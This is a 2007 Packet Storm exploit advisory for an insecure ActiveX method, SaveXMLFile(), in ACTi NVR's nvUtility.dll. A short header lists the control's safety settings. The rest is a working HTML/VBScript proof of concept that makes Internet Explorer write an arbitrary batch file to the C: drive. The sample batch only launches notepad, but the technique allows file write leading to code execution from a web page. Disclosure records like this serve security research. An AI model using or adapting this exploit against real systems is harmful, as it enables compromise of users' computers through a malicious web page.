nvr-savexml-method.txt

2007-08-28T00:00:00
ID PACKETSTORM:58891
Type packetstorm
Reporter shinnai
Modified 2007-08-28T00:00:00

Description

                                        
                                            `--------------------------------------------------------------------------------------------  
NVR SP2 2.0 nvUtility.Utility.1 (nvUtility.dll v. 1.0.14.0) "SaveXMLFile()" Inscure Method  
url: http://www.acti.com/index.asp  
  
author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://shinnai.altervista.org  
  
This was written for educational purpose. Use it at your own risk.  
Author will be not be responsible for any damage.  
  
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7  
all software that use this ocx are vulnerable to this exploits.  
  
This control is marked as:  
RegKey Safe for Script: False  
RegKey Safe for Init: False  
Implements IObjectSafety: True  
IDisp Safe: Safe for untrusted: caller  
KillBitSet: Falso  
--------------------------------------------------------------------------------------------  
  
<object classid='clsid:A0D43FB0-116B-47AB-80FB-6DCFA92A03E3' id='test'></object>  
  
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">  
  
<script language='vbscript'>  
Sub tryMe  
Dim mStr  
Dim MyMsg   
mStr = "echo off" & vbCrLf & _  
"cls" & vbCrLf & _  
"echo Hello World!" & vbCrLf & _  
"cmd.exe /c notepad.exe" & vbCrLf & _  
"pause"  
  
test.SaveXMLFile "c:\shinnai.bat", mStr  
MyMsg = MsgBox("Exploit completed!")  
End Sub  
</script>  
  
`